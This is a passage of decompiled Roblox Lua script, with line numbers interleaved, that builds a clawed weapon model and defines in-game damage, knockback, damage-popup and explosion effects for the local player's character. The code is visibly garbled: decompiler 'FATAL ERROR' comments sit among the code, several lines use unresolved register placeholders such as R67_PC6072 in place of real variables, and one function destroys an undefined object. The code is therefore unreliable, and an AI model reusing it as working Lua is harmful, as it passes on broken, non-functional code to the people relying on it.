PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152257681, 0.624636889, 0.129745722, -1.19395554e-06, 1, 1.37090683e-06, -0.832109034, -2.38418579e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
843
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
844
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.015203476, 0.944107533, 0.894238472, 1.19395554e-06, -1, -1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
845
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
846
ClawWeld = CreateWeld(m, MotorTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121142, -0.0170750618, -0.650540113, 1.00000012, -1.86264515e-09, 4.65661287e-09, -1.86264515e-09, 1, 0, 4.65661287e-09, 0, 1.00000024))
847
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
848
CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
849
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151972771, -1.64906967, 1.03426158, -1.19395554e-06, 1, 1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
850
CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
851
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252062082, -1.54980803, -0.844281912, 1.19395554e-06, -1, -1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
852
MotorThumb = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumb", Vector3.new(0.200000003, 0.200000003, 0.200000003))
853
MotorThumbWeld = CreateWeld(m, Handle, MotorThumb, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.436262846, -0.542311668, -0.983556807, -0.068211019, -0.995336354, 0.0682120249, -0.707106829, -7.08211871e-07, -0.707106709, 0.703809023, -0.0964656472, -0.703809083))
854
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
855
ClawWeld = CreateWeld(m, MotorThumb, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607737899, 0.0110911727, 0.0515184402, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
856
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
857
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
858
ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723732, 0.990283549, 1.41561031e-06, -0.13906303, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.13906303, 8.94069672e-08, 0.990283489))
859
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
860
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
861
ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025633, 0.0210601687, -0.0396541655, 0.908135235, 2.08616257e-06, -0.418677092, -1.47148967e-06, 1.00000012, 1.75833702e-06, 0.418677121, -9.23871994e-07, 0.908135176))
862
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
863
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
864
PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129690766, -0.393394113, 0.191975117, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
865
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
866
PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775405, -0.706632137, 0.168079853, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
867
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
868
PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299531221, -0.294105291, -0.00194394588, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
869
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
870
PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598301, 0.0969114304, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
871
MotorThumbTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumbTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
872
MotorThumbTwoWeld = CreateWeld(m, Handle, MotorThumbTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.444597721, 0.423756033, -0.897562623, -0.0682120249, -0.995336354, -0.068211019, 0.707106709, -7.08211871e-07, -0.707106829, 0.703809083, -0.0964656621, 0.703809023))
873
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
874
ClawWeld = CreateWeld(m, MotorThumbTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607738018, 0.0110911727, 0.0515185595, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
875
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
876
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
877
ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723612, 0.990283549, 1.42306089e-06, -0.139062777, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.139062807, 1.1920929e-07, 0.990283608))
878
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
879
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
880
ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025394, 0.0210601091, -0.0396541059, 0.908135235, 2.08616257e-06, -0.418677092, -1.72480941e-06, 1, 1.16229057e-06, 0.418677121, -3.57627869e-07, 0.908135176))
881
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
882
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
883
PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.012969017, -0.393394232, 0.191974878, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
884
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
885
PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775107, -0.706632137, 0.168079972, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
886
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
887
PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299596786, -0.29410553, -0.00194442272, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
888
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
889
PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598063, 0.0969111919, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
890
MagniHit = CreatePart(m, Enum.Material.Neon, 0, 1, "Really black", "MagniHit", Vector3.new(0.200000003, 0.200000003, 0.200000003))
891
MagniHitWeld = CreateWeld(m, Character.HumanoidRootPart, MagniHit, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-4.01003361, -0.230025291, 0.070048213, 0, 0, -1, 0, 1, 0, 1, 0, 0))
892
local CBlade = {}
893
local CBladeWelds = {}
894
for _,c in pairs(m:children()) do
895
  if c.className == "Part" then
896
    table.insert(CBlade, R67_PC6072)
897
  end
898
end
899
for _,c in pairs(m:children()) do
900
  if c.className == "Weld" then
901
    table.insert(CBladeWelds, R67_PC6072)
902
    print(R66_PC6093)
903
  end
904
end
905
-- NIGH-OMNI FATAL ERROR at PC6105: Re-wrote register: R67 in 'AssignReg'
906
907
-- NIGH-OMNI FATAL ERROR at PC6106: Re-wrote register: R67 in 'AssignReg'
908
909
--Hit = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", R66_PC6093, R67_PC6072(5, 0.200000003, 5))
910
-- NIGH-OMNI FATAL ERROR at PC6120: Re-wrote register: R66 in 'AssignReg'
911
912
-- NIGH-OMNI FATAL ERROR at PC6134: Re-wrote register: R66 in 'AssignReg'
913
914
HitWeld = CreateWeld(demon, Character.HumanoidRootPart, Hit, CFrame.new(0, R66_PC6093, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(R66_PC6093, -3.50004387, 0.0299530029, 0, 1, 0, 0, 0, -1, -1, 0, 0))
915
CreateMesh("SpecialMesh", Hit, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(3, 4, 3))
916
FakeMotor = CreatePart(demon, Enum.Material.Neon, 0, 1, "Really black", "FakeMotor", Vector3.new(2.01999998, 0.2016, 2.36000013))
917
FakeMotorWeld = CreateWeld(demon, Hit, FakeMotor, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0199999809, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
918
Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
919
PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -5.06998634, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
920
CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(2.5, 10, 2.5))
921
Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
922
PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -7.1599884, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
923
CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(1, 10, 1))
924
TornadoHat = CreatePart(demon, Enum.Material.Neon, 0.20000000298023, 0.5, "Really black", "TornadoHat", Vector3.new(3, 0.400000006, 3))
925
TornadoHatWeld = CreateWeld(demon, FakeMotor, TornadoHat, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00997924805, -1.65001106, -0.0699994564, 0, 0, -1, 0, -1, 0, -1, 0, 0))
926
CreateMesh("SpecialMesh", TornadoHat, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1051557", Vector3.new(0, 0, 0), Vector3.new(5, 5, 5))
927
local DBlade = {}
928
local DBladeWelds = {}
929
for _,c in pairs(demon:children()) do
930
  if c.className == "Part" then
931
    table.insert(DBlade, c)
932
  end
933
end
934
for _,c in pairs(demon:children()) do
935
  if c.className == "Weld" then
936
    table.insert(DBladeWelds, c)
937
    print(c)
938
  end
939
end
940
demon.Parent = nil
941
942
paly = game.Players.LocalPlayer
943
char = paly.Character
944
torso = char.Torso
945
neck = char.Torso.Neck
946
hum = char.Humanoid
947
Player = game:GetService("Players").LocalPlayer
948
local mouse = Player:GetMouse()
949
Character = Player.Character
950
tors = Character.Torso
951
lleg = Character["Left Leg"]
952
root = Character.HumanoidRootPart
953
hed = Character.Head
954
rleg = Character["Right Leg"]
955
rarm = Character["Right Arm"]
956
larm = Character["Left Arm"]
957
local Effects = {}
958
attack = false
959
vt = Vector3.new
960
bc = BrickColor.new
961
br = BrickColor.random
962
it = Instance.new
963
cf = CFrame.new
964
euler = CFrame.fromEulerAnglesXYZ
965
angles = CFrame.Angles
966
matr = math.random
967
local basiccooldown = math.huge
968
local ultcooldown = math.huge
969
local secondcooldown = math.huge
970
local thirdcooldown = math.huge
971
972
local boll = Instance.new("Part",game.Lighting)
973
boll.Transparency = 0.5
974
boll.Material = "Neon"
975
boll.BrickColor = tors.BrickColor
976
boll.Anchored = true
977
boll.Size = vt(1,1,1)
978
boll.Shape = "Ball"
979
boll.CanCollide = false
980
981
local shur = Instance.new("Part",game.Lighting)
982
shur.Transparency = 0
983
shur.Material = "Neon"
984
shur.BrickColor = tors.BrickColor
985
shur.Anchored = true
986
shur.Size = vt(5,0.2,5)
987
shur.CanCollide = false
988
local Meshshur = Instance.new("CylinderMesh",shur)
989
990
991
local boll = Instance.new("Part",game.Lighting)
992
boll.Transparency = 0.5
993
boll.Material = "Neon"
994
boll.BrickColor = bc("Bright red")
995
boll.Anchored = true
996
boll.Size = vt(1,1,1)
997
boll.Shape = "Ball"
998
boll.CanCollide = false
999
1000
local shur = Instance.new("Part",game.Lighting)
1001
shur.Transparency = 0
1002
shur.Material = "Neon"
1003
shur.BrickColor = bc("Bright red")
1004
shur.Anchored = true
1005
shur.Size = vt(5,0.2,5)
1006
shur.CanCollide = false
1007
local Meshshur = Instance.new("CylinderMesh",shur)
1008
1009
Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
1010
        if hit.Parent==nil then
1011
                return
1012
        end
1013
        h=hit.Parent:FindFirstChild("Humanoid")
1014
        for _,v in pairs(hit.Parent:children()) do
1015
        if v:IsA("Humanoid") then
1016
        h=v
1017
        end
1018
        end
1019
        if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
1020
        h=hit.Parent.Parent:FindFirstChild("Humanoid")
1021
        end
1022
        if hit.Parent.className=="Hat" then
1023
        hit=hit.Parent.Parent:findFirstChild("Head")
1024
        end
1025
        if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
1026
        if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
1027
        --[[                if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
1028
                        return
1029
                end]]
1030
--                        hs(hit,1.2) 
1031
                        c=Instance.new("ObjectValue")
1032
                        c.Name="creator"
1033
                        c.Value=game:service("Players").LocalPlayer
1034
                        c.Parent=h
1035
                        game:GetService("Debris"):AddItem(c,.5)
1036
                Damage=math.random(minim,maxim)
1037
--                h:TakeDamage(Damage)
1038
                blocked=false
1039
                block=hit.Parent:findFirstChild("Block")
1040
                if block~=nil then
1041
                print(block.className)
1042
                if block.className=="NumberValue" then
1043
                if block.Value>0 then
1044
                blocked=true
1045
                if decreaseblock==nil then
1046
                block.Value=block.Value-1
1047
                end
1048
                end
1049
                end
1050
                if block.className=="IntValue" then
1051
                if block.Value>0 then
1052
                blocked=true
1053
                if decreaseblock~=nil then
1054
                block.Value=block.Value-1
1055
                end
1056
                end
1057
                end
1058
                end
1059
                if blocked==false then
1060
--                h:TakeDamage(Damage)
1061
                h.Health=h.Health-Damage
1062
                showDamage(hit.Parent,Damage,.5,TorsoColor)
1063
                else
1064
                h.Health=h.Health-(Damage/2)
1065
                showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
1066
                end
1067
                if Type=="Knockdown" then
1068
                hum=hit.Parent.Humanoid
1069
hum.PlatformStand=true
1070
coroutine.resume(coroutine.create(function(HHumanoid)
1071
swait(1)
1072
HHumanoid.PlatformStand=false
1073
end),hum)
1074
                local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
1075
--hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
1076
local bodvol=Instance.new("BodyVelocity")
1077
bodvol.velocity=angle*knockback
1078
bodvol.P=5000
1079
bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
1080
bodvol.Parent=hit
1081
rl=Instance.new("BodyAngularVelocity")
1082
rl.P=3000
1083
rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
1084
rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
1085
rl.Parent=hit
1086
game:GetService("Debris"):AddItem(bodvol,.5)
1087
game:GetService("Debris"):AddItem(rl,.5)
1088
                elseif Type=="Normal" then
1089
                vp=Instance.new("BodyVelocity")
1090
                vp.P=500
1091
                vp.maxForce=Vector3.new(math.huge,0,math.huge)
1092
--                vp.velocity=Character.Torso.CFrame.lookVector*Knockback
1093
                if KnockbackType==1 then
1094
                vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
1095
                elseif KnockbackType==2 then
1096
                vp.velocity=Property.CFrame.lookVector*knockback
1097
                end
1098
                if knockback>0 then
1099
                        vp.Parent=hit.Parent.Torso
1100
                end
1101
                game:GetService("Debris"):AddItem(vp,.5)
1102
                elseif Type=="Up" then
1103
                local bodyVelocity=Instance.new("BodyVelocity")
1104
                bodyVelocity.velocity=vt(0,10,0)
1105
                bodyVelocity.P=1000
1106
                bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
1107
                bodyVelocity.Parent=hit
1108
                game:GetService("Debris"):AddItem(bodyVelocity,1)
1109
                rl=Instance.new("BodyAngularVelocity")
1110
                rl.P=3000
1111
                rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
1112
                rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
1113
                rl.Parent=hit
1114
                game:GetService("Debris"):AddItem(rl,.5)
1115
                elseif Type=="Snare" then
1116
                bp=Instance.new("BodyPosition")
1117
                bp.P=2000
1118
                bp.D=100
1119
                bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
1120
                bp.position=hit.Parent.Torso.Position
1121
                bp.Parent=hit.Parent.Torso
1122
                game:GetService("Debris"):AddItem(bp,1)
1123
                elseif Type=="Target" then
1124
                if Targetting==false then
1125
                ZTarget=hit.Parent.Torso
1126
                coroutine.resume(coroutine.create(function(Part) 
1127
                swait(5)
1128
                end),ZTarget)
1129
                TargHum=ZTarget.Parent:findFirstChild("Humanoid")
1130
                targetgui=Instance.new("BillboardGui")
1131
                targetgui.Parent=ZTarget
1132
                targetgui.Size=UDim2.new(10,100,10,100)
1133
                targ=Instance.new("ImageLabel")
1134
                targ.Parent=targetgui
1135
                targ.BackgroundTransparency=1
1136
                targ.Image="rbxassetid://4834067"
1137
                targ.Size=UDim2.new(1,0,1,0)
1138
                cam.CameraType="Scriptable"
1139
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
1140
                dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
1141
                workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
1142
                Targetting=true
1143
                RocketTarget=ZTarget
1144
                for i=1,Property do
1145
                --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
1146
                if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
1147
                swait()
1148
                end
1149
                --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
1150
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
1151
                dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
1152
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
1153
                end
1154
                Targetting=false
1155
                RocketTarget=nil
1156
                targetgui.Parent=nil
1157
                cam.CameraType="Custom"
1158
                end
1159
                end
1160
                        debounce=Instance.new("BoolValue")
1161
                        debounce.Name="DebounceHit"
1162
                        debounce.Parent=hit.Parent
1163
                        debounce.Value=true
1164
                        game:GetService("Debris"):AddItem(debounce,Delay)
1165
                        c=Instance.new("ObjectValue")
1166
                        c.Name="creator"
1167
                        c.Value=Player
1168
                        c.Parent=h
1169
                        game:GetService("Debris"):AddItem(c,.5)
1170
                CRIT=false
1171
                hitDeb=true
1172
                AttackPos=6
1173
        end
1174
end
1175
 
1176
showDamage=function(Char,Dealt,du,Color)
1177
        m=Instance.new("Model")
1178
        m.Name=tostring(Dealt)
1179
        h=Instance.new("Humanoid")
1180
        h.Health=0
1181
        h.MaxHealth=0
1182
        h.Parent=m
1183
        c=Instance.new("Part")
1184
        c.Transparency=0
1185
        c.Material = "Neon"
1186
        c.BrickColor=bc("New Yeller")
1187
        c.Name="Head"
1188
        c.TopSurface=0
1189
        c.BottomSurface=0
1190
  local tick = Instance.new("Sound",c)
1191
  tick.SoundId = "rbxassetid://12221976"
1192
  tick.Volume = 5
1193
  tick.Pitch = 4
1194
  tick:Play()
1195
        c.formFactor="Plate"
1196
        c.Size=Vector3.new(1,.4,1)
1197
        ms=Instance.new("CylinderMesh")
1198
        ms.Scale=Vector3.new(.8,.8,.8)
1199
        if CRIT==true then
1200
                ms.Scale=Vector3.new(1,1.25,1)
1201
        end
1202
        ms.Parent=c
1203
        c.Reflectance=0
1204
        Instance.new("BodyGyro").Parent=c
1205
        c.Parent=m
1206
        if Char:findFirstChild("Head")~=nil then
1207
        c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
1208
        elseif Char.Parent:findFirstChild("Head")~=nil then
1209
        c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
1210
        end
1211
        f=Instance.new("BodyPosition")
1212
        f.P=2000
1213
        f.D=100
1214
        f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
1215
        f.position=c.Position+Vector3.new(0,3,0)
1216
        f.Parent=c
1217
        game:GetService("Debris"):AddItem(m,.5+du)
1218
        c.CanCollide=false
1219
        m.Parent=workspace
1220
        c.CanCollide=false
1221
p:Destroy()
1222
end
1223
1224
function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
1225
	for _, c in pairs(workspace:children()) do
1226
		local hum = c:findFirstChild("Humanoid")
1227
		if hum ~= nil then
1228
			local head = c:findFirstChild("Torso")
1229
			if head ~= nil then
1230
				local targ = head.Position - Part.Position
1231
				local mag = targ.magnitude
1232
				if mag <= magni and c.Name ~= Player.Name then 
1233
					Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
1234
				end
1235
			end
1236
		end
1237
	end
1238
end
1239
1240
function Explode(rad,par)
1241
	local expart = Instance.new("Part",script.Parent)
1242
	local expart2 = Instance.new("Part",script.Parent)
1243
	local partMesh = Instance.new("SpecialMesh",expart)
1244
	partMesh.MeshType = "Sphere"
1245
	local partMesh2 = Instance.new("SpecialMesh",expart2)
1246
	partMesh2.MeshType = "Sphere"
1247
	local expld = Instance.new("Explosion", script.Parent)
1248
local plode = Instance.new("Sound",expart)
1249
  plode.SoundId = "rbxassetid://165970126"
1250
  plode.Volume = 1
1251
  plode.Pitch = 1
1252
  plode.Looped = false
1253
  plode:Play()
1254
	expld.BlastRadius = rad
1255
	expld.Position = par.Position
1256
	partMesh.Scale = vt(rad,rad,rad)
1257
	expart.Size = vt(1,1,1)*1.5
1258
	expart.Transparency = 0
1259
	expart.Anchored = true
1260
	expart.Material = "Neon"
1261
	expart.BrickColor = bc("White")
1262
	expart.CFrame = par.CFrame
1263
	partMesh2.Scale = vt(rad,rad,rad)
1264
	expart2.Size = vt(1.15,1.15,1.15)*1.5
1265
	expart2.Transparency = 0.5
1266
	expart2.Anchored = true
1267
	expart2.Material = "Neon"
1268
	expart2.BrickColor = bc("New Yeller")
1269
	expart2.CFrame = par.CFrame
1270
        local value = 1*rad/6.5
1271
        par:Destroy()
1272
	for i = 0, 100 do
1273
                partMesh.Scale = partMesh.Scale + vt(value,value,value)
1274
		expart.CFrame = expart.CFrame
1275
                partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
1276
		expart2.CFrame = expart.CFrame
1277
                value = value - 0.035*rad/6.5
1278
                if value < 1 then
1279
                value = 0.25
1280
		expart.Transparency = expart.Transparency + 0.025
1281
		expart2.Transparency = expart2.Transparency + 0.025
1282
                end
1283
		wait()
1284
	end
1285
  plode.Parent = nil
1286
	expart.Parent = nil
1287
	expart2.Parent = nil
1288
	expld.Parent = nil
1289
end
1290
1291
function ExplodeMass(rad,par)
1292
	local expart = Instance.new("Part",script.Parent)
1293
	local expart2 = Instance.new("Part",script.Parent)
1294
	local partMesh = Instance.new("SpecialMesh",expart)
1295
	partMesh.MeshType = "Sphere"
1296
	local partMesh2 = Instance.new("SpecialMesh",expart2)
1297
	partMesh2.MeshType = "Sphere"
1298
	local expld = Instance.new("Explosion", script.Parent)
1299
local plode = Instance.new("Sound",workspace)
1300
  plode.SoundId = "rbxassetid://579687077"
1301
  plode.Volume = 1
1302
  plode.Pitch = 0.85
1303
  plode.Looped = false
1304
  plode:Play()
1305
local plodez = Instance.new("Sound",workspace)
1306
  plodez.SoundId = "rbxassetid://288641686"
1307
  plodez.Volume = 1
1308
  plodez.Pitch = 0.75
1309
  plodez.Looped = false
1310
  plodez:Play()
1311
local plodeza = Instance.new("Sound",workspace)
1312
  plodeza.SoundId = "rbxassetid://197161452"
1313
